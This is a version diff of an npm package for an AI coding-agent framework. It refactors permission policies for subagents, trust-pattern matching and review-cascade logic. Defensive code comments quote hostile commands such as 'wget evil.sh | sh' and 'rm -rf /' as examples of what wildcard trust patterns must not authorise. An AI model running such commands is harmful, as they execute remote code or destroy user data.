@wrongstack/core 0.298.0 → 0.298.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6915,57 +6915,49 @@ function parseReviewSeverity(text) {
6915
6915
  const result = { critical: 0, high: 0, medium: 0 };
6916
6916
  if (!text) return result;
6917
6917
  for (const level of ["critical", "high", "medium"]) {
6918
- const countRe = new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i");
6919
- const countMatch = text.match(countRe);
6918
+ const countMatch = text.match(new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i"));
6920
6919
  if (countMatch?.[1]) {
6921
6920
  result[level] = Number.parseInt(countMatch[1], 10);
6922
6921
  continue;
6923
6922
  }
6924
- const sectionRe = new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i");
6925
- const sectionMatch = text.match(sectionRe);
6926
- if (sectionMatch?.[1]) {
6927
- const items = sectionMatch[1].match(/^\s*\d+\.\s/gm);
6928
- result[level] = items ? items.length : 0;
6929
- }
6923
+ const section = text.match(
6924
+ new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i")
6925
+ )?.[1];
6926
+ result[level] = section?.match(/^\s*\d+\.\s/gm)?.length ?? 0;
6930
6927
  }
6931
6928
  return result;
6932
6929
  }
6933
- var SECURITY_KEYWORDS = [
6934
- "injection",
6935
- "xss",
6936
- "csrf",
6937
- "ssrf",
6938
- "sql",
6939
- "secret",
6940
- "credential",
6941
- "password",
6942
- "api key",
6943
- "token",
6944
- "auth",
6945
- "shell injection",
6946
- "command injection",
6947
- "innerhtml",
6948
- "deserialization",
6949
- "path traversal",
6950
- "hardcoded",
6951
- "privilege",
6952
- "owasp"
6953
- ];
6954
6930
  function decideCascadeAgents(text, severities) {
6955
6931
  const agents = /* @__PURE__ */ new Set();
6956
- if (severities.critical > 0 || severities.high > 0) {
6957
- agents.add("bug-hunter");
6958
- }
6959
- const lower = text.toLowerCase();
6960
- const criticalHighRe = /###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi;
6961
- let section = criticalHighRe.exec(lower);
6962
- while (section !== null) {
6932
+ if (severities.critical > 0 || severities.high > 0) agents.add("bug-hunter");
6933
+ const securityKeywords = [
6934
+ "injection",
6935
+ "xss",
6936
+ "csrf",
6937
+ "ssrf",
6938
+ "sql",
6939
+ "secret",
6940
+ "credential",
6941
+ "password",
6942
+ "api key",
6943
+ "token",
6944
+ "auth",
6945
+ "shell injection",
6946
+ "command injection",
6947
+ "innerhtml",
6948
+ "deserialization",
6949
+ "path traversal",
6950
+ "hardcoded",
6951
+ "privilege",
6952
+ "owasp"
6953
+ ];
6954
+ const criticalHighSections = text.toLowerCase().matchAll(/###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi);
6955
+ for (const section of criticalHighSections) {
6963
6956
  const body = section[1] ?? "";
6964
- if (SECURITY_KEYWORDS.some((kw) => body.includes(kw))) {
6957
+ if (securityKeywords.some((keyword) => body.includes(keyword))) {
6965
6958
  agents.add("security-scanner");
6966
6959
  break;
6967
6960
  }
6968
- section = criticalHighRe.exec(lower);
6969
6961
  }
6970
6962
  return [...agents];
6971
6963
  }
@@ -7058,9 +7050,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7058
7050
  "Detects git-tracked file edits and dispatches review subagents",
7059
7051
  "with configurable provider/model/fallback.",
7060
7052
  "",
7061
- "When a review report contains findings at or above the cascadeOn",
7062
- "threshold, follow-up agents (security-scanner, bug-hunter) are",
7063
- "automatically spawned to investigate.",
7053
+ "Reports are persisted and shown as passive notifications.",
7054
+ "They never wake the leader or spawn mutating follow-up agents.",
7064
7055
  "",
7065
7056
  "Commands:",
7066
7057
  " /auto-review Show current status and config",
@@ -7075,11 +7066,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7075
7066
  " debounceMs debounce window (default 15000)",
7076
7067
  " maxFilesPerBatch max files per review (default 15)",
7077
7068
  " maxConcurrentReviews max parallel reviews (default 2)",
7078
- ' cascadeOn "off" | "critical" | "high" (default off)',
7079
- " Spawns security-scanner/bug-hunter when",
7080
- ' findings reach this severity. "high" fires',
7081
- ' on any High+ finding; "critical" only on Critical.',
7082
- " maxCascadeDepth max fix+re-review cycles (default 2, 0=off)"
7069
+ " cascadeOn off | critical | high (default off)",
7070
+ " maxCascadeDepth max fix+re-review cycles (default 2)"
7083
7071
  ].join("\n"),
7084
7072
  async run(args) {
7085
7073
  const cfg = getConfig();
@@ -7095,7 +7083,6 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7095
7083
  };
7096
7084
  }
7097
7085
  const inFlight = getInFlightCount();
7098
- const cascadeDesc = cfg.cascadeOn === "off" ? "disabled" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`;
7099
7086
  return {
7100
7087
  message: [
7101
7088
  `\u{1F4CB} Auto Review \u2014 ${cfg.enabled ? "\u2705 enabled" : "\u23F8\uFE0F disabled"}`,
@@ -7106,7 +7093,7 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7106
7093
  ` Debounce: ${cfg.debounceMs} ms`,
7107
7094
  ` Max files: ${cfg.maxFilesPerBatch}`,
7108
7095
  ` Max parallel: ${cfg.maxConcurrentReviews}`,
7109
- ` Cascade: ${cascadeDesc}`,
7096
+ ` Cascade: ${cfg.cascadeOn === "off" ? "off" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`}`,
7110
7097
  ` Max depth: ${cfg.maxCascadeDepth} re-review cycle(s)`,
7111
7098
  ` In-flight: ${inFlight} review(s)`,
7112
7099
  "",
@@ -8414,7 +8401,9 @@ function createChimeraPlugin() {
8414
8401
  api.log.info("[chimera] skipped \u2014 changed files already have reviews in progress");
8415
8402
  return;
8416
8403
  }
8417
- api.log.info(`[chimera] emitted review_needed event (${emittedBundle.files.length} files)`);
8404
+ api.log.info(
8405
+ `[chimera] emitted review_needed event (${emittedBundle.files.length} files)`
8406
+ );
8418
8407
  } catch (err) {
8419
8408
  api.log.warn(`[chimera] session.ended handler failed: ${toErrorMessage(err)}`);
8420
8409
  }
@@ -90,17 +90,7 @@ export interface ParsedSeverities {
90
90
  high: number;
91
91
  medium: number;
92
92
  }
93
- /**
94
- * Extract Critical/High/Medium finding counts from a Chimera review report.
95
- *
96
- * The report format (from llm/chimera-review.md) uses section headers like
97
- * `### Critical (2)`, `### High (1)`, `### Medium (3)`. We match the count
98
- * in parentheses. Falls back to counting `1.`, `2.` list-item markers under
99
- * a severity heading when no `(N)` is present (defensive — the prompt asks
100
- * for both, but LLMs sometimes omit the count).
101
- *
102
- * Returns all-zero when the text doesn't match (clean report or unparseable).
103
- */
93
+ /** Parse report counts for clean-vs-actionable classification. */
104
94
  export declare function parseReviewSeverity(text: string): ParsedSeverities;
105
95
  /**
106
96
  * Decide which follow-up cascade agents to spawn based on the review text.
@@ -0,0 +1,37 @@
1
+ /**
2
+ * Auto-approving PermissionPolicy used for subagents. Subagents run
3
+ * non-interactively under a director — they cannot answer permission
4
+ * prompts, so a non-YOLO policy on the leader would silently hang the
5
+ * delegated run on the first sensitive tool call. The user already
6
+ * authorized the delegation when they invoked the leader; subagents
7
+ * inherit that authorization automatically.
8
+ *
9
+ * Tool defaults of `permission: 'deny'` are still honored (this is a
10
+ * subagent capability override, not a deny-bypass).
11
+ *
12
+ * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
13
+ * (capability allowlist / denylist model). The legacy name-based DENY set
14
+ * is kept only for backward compatibility with tools that have not yet
15
+ * declared capabilities.
16
+ *
17
+ * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
18
+ * allowed capabilities are auto-approved. Everything else is denied.
19
+ * Default allowed: fs.read, net.outbound (read-only, safe operations).
20
+ *
21
+ * Extracted from permission-policy.ts.
22
+ */
23
+ import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
24
+ import type { Tool } from '../types/tool.js';
25
+ export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
26
+ private readonly allowedCapabilities;
27
+ constructor(allowedCapabilities?: readonly string[]);
28
+ private static isMcpTool;
29
+ evaluate(tool: Tool): Promise<PermissionDecision>;
30
+ trust(): Promise<void>;
31
+ deny(): Promise<void>;
32
+ denyOnce(): void;
33
+ allowOnce(): void;
34
+ explain(tool: Tool): Promise<PermissionTrace>;
35
+ reload(): Promise<void>;
36
+ }
37
+ //# sourceMappingURL=auto-approve-policy.d.ts.map
@@ -2140,7 +2140,68 @@ function isClearlyDestructiveBashCommand(command, projectRoot) {
2140
2140
  return false;
2141
2141
  }
2142
2142
 
2143
- // src/security/permission-policy.ts
2143
+ // src/security/auto-approve-policy.ts
2144
+ var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
2145
+ allowedCapabilities;
2146
+ constructor(allowedCapabilities) {
2147
+ this.allowedCapabilities = allowedCapabilities ?? [
2148
+ ToolCapabilities.FS_READ,
2149
+ ToolCapabilities.NET_OUTBOUND
2150
+ ];
2151
+ }
2152
+ static isMcpTool(name) {
2153
+ return name.startsWith("mcp__");
2154
+ }
2155
+ async evaluate(tool) {
2156
+ const caps = tool.capabilities ?? [];
2157
+ const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
2158
+ const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
2159
+ const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
2160
+ const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
2161
+ (c) => !this.allowedCapabilities.includes(c)
2162
+ );
2163
+ const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
2164
+ if (blocked) {
2165
+ const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
2166
+ return {
2167
+ permission: "deny",
2168
+ source: "subagent_guard",
2169
+ reason
2170
+ };
2171
+ }
2172
+ return { permission: "auto", source: "yolo" };
2173
+ }
2174
+ async trust() {
2175
+ }
2176
+ async deny() {
2177
+ }
2178
+ denyOnce() {
2179
+ }
2180
+ allowOnce() {
2181
+ }
2182
+ async explain(tool) {
2183
+ const decision = await this.evaluate(tool);
2184
+ return {
2185
+ toolName: tool.name,
2186
+ subject: null,
2187
+ steps: [
2188
+ {
2189
+ rule: "subagent auto",
2190
+ matched: decision.permission === "auto",
2191
+ decision: decision.permission,
2192
+ source: decision.source,
2193
+ detail: decision.reason ?? `subagent policy: ${decision.permission}`
2194
+ }
2195
+ ],
2196
+ winnerIndex: 0,
2197
+ decision
2198
+ };
2199
+ }
2200
+ async reload() {
2201
+ }
2202
+ };
2203
+
2204
+ // src/security/permission-helpers.ts
2144
2205
  function matchesTrust(patterns, subject) {
2145
2206
  return patterns.includes(subject) || matchAny(patterns, subject);
2146
2207
  }
@@ -2235,6 +2296,8 @@ function shellCommandReadsSensitivePath(command) {
2235
2296
  }
2236
2297
  return false;
2237
2298
  }
2299
+
2300
+ // src/security/permission-policy.ts
2238
2301
  var DefaultPermissionPolicy = class {
2239
2302
  policy = {};
2240
2303
  loaded = false;
@@ -2977,65 +3040,6 @@ var DefaultPermissionPolicy = class {
2977
3040
  return void 0;
2978
3041
  }
2979
3042
  };
2980
- var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
2981
- allowedCapabilities;
2982
- constructor(allowedCapabilities) {
2983
- this.allowedCapabilities = allowedCapabilities ?? [
2984
- ToolCapabilities.FS_READ,
2985
- ToolCapabilities.NET_OUTBOUND
2986
- ];
2987
- }
2988
- static isMcpTool(name) {
2989
- return name.startsWith("mcp__");
2990
- }
2991
- async evaluate(tool) {
2992
- const caps = tool.capabilities ?? [];
2993
- const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
2994
- const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
2995
- const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
2996
- const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
2997
- (c) => !this.allowedCapabilities.includes(c)
2998
- );
2999
- const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
3000
- if (blocked) {
3001
- const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
3002
- return {
3003
- permission: "deny",
3004
- source: "subagent_guard",
3005
- reason
3006
- };
3007
- }
3008
- return { permission: "auto", source: "yolo" };
3009
- }
3010
- async trust() {
3011
- }
3012
- async deny() {
3013
- }
3014
- denyOnce() {
3015
- }
3016
- allowOnce() {
3017
- }
3018
- async explain(tool) {
3019
- const decision = await this.evaluate(tool);
3020
- return {
3021
- toolName: tool.name,
3022
- subject: null,
3023
- steps: [
3024
- {
3025
- rule: "subagent auto",
3026
- matched: decision.permission === "auto",
3027
- decision: decision.permission,
3028
- source: decision.source,
3029
- detail: decision.reason ?? `subagent policy: ${decision.permission}`
3030
- }
3031
- ],
3032
- winnerIndex: 0,
3033
- decision
3034
- };
3035
- }
3036
- async reload() {
3037
- }
3038
- };
3039
3043
 
3040
3044
  // src/security/readonly-permission-policy.ts
3041
3045
  import * as path4 from "node:path";
@@ -0,0 +1,93 @@
1
+ /**
2
+ * Pure helpers for permission policy evaluation — trust-pattern matching,
3
+ * tool fingerprinting, and sensitive-read detection.
4
+ *
5
+ * Extracted from permission-policy.ts. No class state, no I/O.
6
+ */
7
+ import type { Tool } from '../types/tool.js';
8
+ /**
9
+ * Match a computed subject against stored trust patterns.
10
+ *
11
+ * Exact string equality is checked FIRST, before glob compilation. Subjects are
12
+ * glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
13
+ * \]`), and a stored "always"-trust pattern is just a prior subject — so for an
14
+ * identical command the pattern and the subject are byte-for-byte equal. The
15
+ * glob matcher alone could not confirm that: `compileGlob` does not treat a
16
+ * backslash as an escape outside character classes, so an escaped `\[`/`\]` is
17
+ * parsed as a character-class delimiter and a command like `[ -f x ]` or
18
+ * `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
19
+ * even after the user chose "always" (#15). Exact equality is also strictly
20
+ * tighter than a glob, so this never widens what a pattern authorizes; genuine
21
+ * wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
22
+ */
23
+ export declare function matchesTrust(patterns: string[], subject: string): boolean;
24
+ /**
25
+ * Match a trust pattern against a shell command line, for ALLOW decisions only
26
+ * (WS-047).
27
+ *
28
+ * `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
29
+ * path that is right; on a command it means a user who wrote `git *` also
30
+ * authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
31
+ * wildcard at shell separators, so the pattern authorizes what it appears to.
32
+ *
33
+ * DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
34
+ * narrowing a deny pattern un-blocks whatever falls outside it: a deny of
35
+ * `git *` must keep matching `git status; rm -rf /`, because the user's intent
36
+ * there is "no git-shaped command gets through", not "only well-formed ones".
37
+ * Narrower is safer for allow and more dangerous for deny — hence two call
38
+ * sites with two matchers rather than one shared helper that picks.
39
+ *
40
+ * Exact equality is kept first for the same reason as `matchesTrust`: a stored
41
+ * "always" pattern is a prior subject, and glob-escaped brackets do not
42
+ * round-trip through the compiler (#15).
43
+ */
44
+ export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
45
+ /**
46
+ * True when this tool's permission subject is a shell command line rather than
47
+ * a path, url, or name — i.e. when the stricter wildcard rules apply.
48
+ */
49
+ export declare function hasShellSubject(tool: Tool): boolean;
50
+ /**
51
+ * Reason a persistent "always allow" cannot be recorded for this call, or
52
+ * `undefined` when it can (WS-046).
53
+ *
54
+ * A stored trust pattern is only ever consulted as
55
+ * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
56
+ * produces no subject, that condition can never be true — so `trust()` with the
57
+ * fallback `pattern: tool.name` writes an entry that is dead on arrival.
58
+ *
59
+ * The user experience of that bug is the damaging part. They pick "always
60
+ * allow", are asked again on the very next identical call, conclude the feature
61
+ * is broken, and reach for the one thing that does work: a blanket
62
+ * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
63
+ * actively trains people into the widest possible grant.
64
+ *
65
+ * So the option is refused with a stated reason instead of accepted and
66
+ * discarded. Exported so a UI can hide the choice rather than offer one that
67
+ * cannot be honoured.
68
+ */
69
+ export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
70
+ /**
71
+ * Fingerprint of the tool fields a permission decision actually depends on
72
+ * (WS-058).
73
+ *
74
+ * The eval cache was keyed on tool NAME plus subject, so a cached verdict
75
+ * outlived the tool definition it was computed from. `ToolRegistry.wrap()`
76
+ * replaces a tool in place and is reachable from the plugin API, so a tool
77
+ * tightened to `permission: 'deny'` mid-session would keep being served the
78
+ * `auto` decided under its previous definition. The cache check also runs
79
+ * BEFORE the tool-default-deny branch, so nothing downstream re-checked.
80
+ *
81
+ * Including these fields in the key means a redefined tool misses the cache
82
+ * and is re-evaluated, rather than inheriting a verdict that no longer
83
+ * describes it. Capabilities are included because the dangerous-capability
84
+ * branches read them; they are short, sorted lists. The tuple is
85
+ * JSON-serialized so separators inside a field value (e.g. a `,` or `|`
86
+ * in a capability string) cannot collide with the delimiters between
87
+ * fields.
88
+ */
89
+ export declare function permissionFingerprint(tool: Tool): string;
90
+ export declare function shellCommandLineFromInput(input: unknown): string | undefined;
91
+ export declare function inputPathLooksSensitive(input: unknown): boolean;
92
+ export declare function shellCommandReadsSensitivePath(command: string): boolean;
93
+ //# sourceMappingURL=permission-helpers.d.ts.map
@@ -3,26 +3,8 @@ import type { InputReader } from '../types/input-reader.js';
3
3
  import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
4
4
  import type { Tool } from '../types/tool.js';
5
5
  import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
6
- /**
7
- * Reason a persistent "always allow" cannot be recorded for this call, or
8
- * `undefined` when it can (WS-046).
9
- *
10
- * A stored trust pattern is only ever consulted as
11
- * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
12
- * produces no subject, that condition can never be true — so `trust()` with the
13
- * fallback `pattern: tool.name` writes an entry that is dead on arrival.
14
- *
15
- * The user experience of that bug is the damaging part. They pick "always
16
- * allow", are asked again on the very next identical call, conclude the feature
17
- * is broken, and reach for the one thing that does work: a blanket
18
- * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
19
- * actively trains people into the widest possible grant.
20
- *
21
- * So the option is refused with a stated reason instead of accepted and
22
- * discarded. Exported so a UI can hide the choice rather than offer one that
23
- * cannot be honoured.
24
- */
25
- export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
6
+ export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
7
+ export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
26
8
  export interface PermissionPolicyOptions {
27
9
  trustFile: string;
28
10
  yolo?: boolean | undefined;
@@ -160,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
160
142
  explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
161
143
  private findNamespaceEntry;
162
144
  }
163
- /**
164
- * Auto-approving PermissionPolicy used for subagents. Subagents run
165
- * non-interactively under a director — they cannot answer permission
166
- * prompts, so a non-YOLO policy on the leader would silently hang the
167
- * delegated run on the first sensitive tool call. The user already
168
- * authorized the delegation when they invoked the leader; subagents
169
- * inherit that authorization automatically.
170
- *
171
- * Tool defaults of `permission: 'deny'` are still honored (this is a
172
- * subagent capability override, not a deny-bypass).
173
- *
174
- * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
175
- * (capability allowlist / denylist model). The legacy name-based DENY set
176
- * is kept only for backward compatibility with tools that have not yet
177
- * declared capabilities.
178
- *
179
- * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
180
- * allowed capabilities are auto-approved. Everything else is denied.
181
- * Default allowed: fs.read, net.outbound (read-only, safe operations).
182
- */
183
- export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
184
- private readonly allowedCapabilities;
185
- constructor(allowedCapabilities?: readonly string[]);
186
- private static isMcpTool;
187
- evaluate(tool: Tool): Promise<PermissionDecision>;
188
- trust(): Promise<void>;
189
- deny(): Promise<void>;
190
- denyOnce(): void;
191
- allowOnce(): void;
192
- explain(tool: Tool): Promise<PermissionTrace>;
193
- reload(): Promise<void>;
194
- }
195
145
  //# sourceMappingURL=permission-policy.d.ts.map
@@ -6630,7 +6630,7 @@ var CONFIG_BEHAVIOR_DEFAULTS = {
6630
6630
  // DEFAULT_STATUSLINE_MODE (packages/tui/src/components/settings-picker-model.ts).
6631
6631
  statuslineMode: "minimum",
6632
6632
  thinkingWord: DEFAULT_TUI_THINKING_WORD,
6633
- showAgentSwarmPanel: true
6633
+ showAgentSwarmPanel: "bottom"
6634
6634
  },
6635
6635
  circuitBreaker: { ...DEFAULT_CIRCUIT_BREAKER_CONFIG },
6636
6636
  modelRuntime: {
@@ -90,11 +90,10 @@ export interface AutonomyConfig {
90
90
  */
91
91
  showModelReasoning?: boolean | undefined;
92
92
  /**
93
- * Show the always-visible AGENT SWARM and todo mission queue panel below
94
- * the TUI statusline. The detailed F2 Fleet, F3 Agents, and F6 Todos
95
- * monitor overlays remain available independently. Default: true.
93
+ * Agent swarm panel placement: 'bottom' (lower region), 'sidebar' (right sidebar), or 'off' (hidden).
94
+ * Backward-compat: legacy boolean values are coerced true→'bottom', false→'off'. Default: 'bottom'.
96
95
  */
97
- showAgentSwarmPanel?: boolean | undefined;
96
+ showAgentSwarmPanel?: 'bottom' | 'sidebar' | 'off' | boolean | undefined;
98
97
  /**
99
98
  * Persist the TUI prompt input history to disk per project so Up/Down
100
99
  * navigation recalls prompts across sessions. Secrets are scrubbed before
@@ -54,4 +54,5 @@ export { isUlid, ulid } from './ulid.js';
54
54
  export { DEFAULT_WALK_IGNORE_DIRS, DEFAULT_WALK_IGNORE_SET } from './walk-ignore.js';
55
55
  export { buildWin32CmdShimInvocation, type Win32CmdShimInvocation } from './win32-cmd.js';
56
56
  export * from './wstack-paths.js';
57
+ export { capSageLines, SAGE_INJECTOR_HEADINGS, splitSageOutputBlock, type SageOutputSplit, } from './sage-output-block.js';
57
58
  //# sourceMappingURL=index.d.ts.map
@@ -5396,6 +5396,49 @@ function assertSafeWin32CmdArgs(args) {
5396
5396
  function quoteWin32CmdArg(arg) {
5397
5397
  return `"${arg}"`;
5398
5398
  }
5399
+
5400
+ // src/utils/sage-output-block.ts
5401
+ var SAGE_INJECTOR_HEADINGS = /* @__PURE__ */ new Set([
5402
+ "--- SAGE: task-aware project knowledge (Memory Injector) ---",
5403
+ "--- SAGE: related project knowledge (Memory Injector) ---"
5404
+ ]);
5405
+ var SAGE_MEMORY_LINE = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*<\/memory>(?: .*)?$/;
5406
+ var SAGE_MEMORY_LINE_TRUNCATED = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*…$/;
5407
+ function splitSageOutputBlock(output) {
5408
+ if (!output.includes("--- SAGE: ")) return { body: output, sageLines: [] };
5409
+ const lines = output.split("\n");
5410
+ for (let sageIdx = lines.length - 1; sageIdx >= 0; sageIdx--) {
5411
+ if (!SAGE_INJECTOR_HEADINGS.has(lines[sageIdx] ?? "")) continue;
5412
+ const candidate = lines.slice(sageIdx);
5413
+ if (candidate.length < 2) continue;
5414
+ const memoryLines = candidate.slice(1).filter((line) => line.trim().length > 0);
5415
+ if (memoryLines.length === 0) continue;
5416
+ const bodyOk = memoryLines.every(
5417
+ (line, index) => SAGE_MEMORY_LINE.test(line) || index === memoryLines.length - 1 && SAGE_MEMORY_LINE_TRUNCATED.test(line)
5418
+ );
5419
+ if (!bodyOk) continue;
5420
+ let end = candidate.length;
5421
+ while (end > 1 && candidate[end - 1].trim().length === 0) end--;
5422
+ return {
5423
+ body: lines.slice(0, sageIdx).join("\n").trimEnd(),
5424
+ sageLines: candidate.slice(0, end)
5425
+ };
5426
+ }
5427
+ return { body: output, sageLines: [] };
5428
+ }
5429
+ function capSageLines(sageLines, maxChars) {
5430
+ if (sageLines.length < 2) return [];
5431
+ const header = sageLines[0];
5432
+ if (header.length >= maxChars) return [];
5433
+ const out = [header];
5434
+ let used = header.length;
5435
+ for (const line of sageLines.slice(1)) {
5436
+ if (used + 1 + line.length > maxChars) break;
5437
+ out.push(line);
5438
+ used += 1 + line.length;
5439
+ }
5440
+ return out.length > 1 ? out : [];
5441
+ }
5399
5442
  export {
5400
5443
  ALLOWED_IMAGE_MEDIA_TYPES,
5401
5444
  COMPLETED_WORK_LEDGER_MARKER,
@@ -5412,6 +5455,7 @@ export {
5412
5455
  PROJECT_IDENTITY_RELATIVE_PATH,
5413
5456
  PROJECT_IDENTITY_VERSION,
5414
5457
  PROJECT_ID_PREFIX,
5458
+ SAGE_INJECTOR_HEADINGS,
5415
5459
  SageCachePragmas,
5416
5460
  TerminalLifecycle,
5417
5461
  WIRE_TOOL_NAME_MAX_LENGTH,
@@ -5435,6 +5479,7 @@ export {
5435
5479
  buildUserContentBlocks,
5436
5480
  buildWin32CmdShimInvocation,
5437
5481
  canonicalProjectRoot,
5482
+ capSageLines,
5438
5483
  checkConnectivity,
5439
5484
  checkUnixSocketPath,
5440
5485
  coerceAgainstSchema,
@@ -5562,6 +5607,7 @@ export {
5562
5607
  simplifyToolDescription,
5563
5608
  sleep,
5564
5609
  slugify2 as slugify,
5610
+ splitSageOutputBlock,
5565
5611
  sqliteCachePragmas,
5566
5612
  startHeapWatchdog,
5567
5613
  startSharedHeapWatchdog,
@@ -0,0 +1,48 @@
1
+ // src/utils/sage-output-block.ts
2
+ var SAGE_INJECTOR_HEADINGS = /* @__PURE__ */ new Set([
3
+ "--- SAGE: task-aware project knowledge (Memory Injector) ---",
4
+ "--- SAGE: related project knowledge (Memory Injector) ---"
5
+ ]);
6
+ var SAGE_MEMORY_LINE = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*<\/memory>(?: .*)?$/;
7
+ var SAGE_MEMORY_LINE_TRUNCATED = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*…$/;
8
+ function splitSageOutputBlock(output) {
9
+ if (!output.includes("--- SAGE: ")) return { body: output, sageLines: [] };
10
+ const lines = output.split("\n");
11
+ for (let sageIdx = lines.length - 1; sageIdx >= 0; sageIdx--) {
12
+ if (!SAGE_INJECTOR_HEADINGS.has(lines[sageIdx] ?? "")) continue;
13
+ const candidate = lines.slice(sageIdx);
14
+ if (candidate.length < 2) continue;
15
+ const memoryLines = candidate.slice(1).filter((line) => line.trim().length > 0);
16
+ if (memoryLines.length === 0) continue;
17
+ const bodyOk = memoryLines.every(
18
+ (line, index) => SAGE_MEMORY_LINE.test(line) || index === memoryLines.length - 1 && SAGE_MEMORY_LINE_TRUNCATED.test(line)
19
+ );
20
+ if (!bodyOk) continue;
21
+ let end = candidate.length;
22
+ while (end > 1 && candidate[end - 1].trim().length === 0) end--;
23
+ return {
24
+ body: lines.slice(0, sageIdx).join("\n").trimEnd(),
25
+ sageLines: candidate.slice(0, end)
26
+ };
27
+ }
28
+ return { body: output, sageLines: [] };
29
+ }
30
+ function capSageLines(sageLines, maxChars) {
31
+ if (sageLines.length < 2) return [];
32
+ const header = sageLines[0];
33
+ if (header.length >= maxChars) return [];
34
+ const out = [header];
35
+ let used = header.length;
36
+ for (const line of sageLines.slice(1)) {
37
+ if (used + 1 + line.length > maxChars) break;
38
+ out.push(line);
39
+ used += 1 + line.length;
40
+ }
41
+ return out.length > 1 ? out : [];
42
+ }
43
+ export {
44
+ SAGE_INJECTOR_HEADINGS,
45
+ capSageLines,
46
+ splitSageOutputBlock
47
+ };
48
+ //# sourceMappingURL=sage-output-block.js.map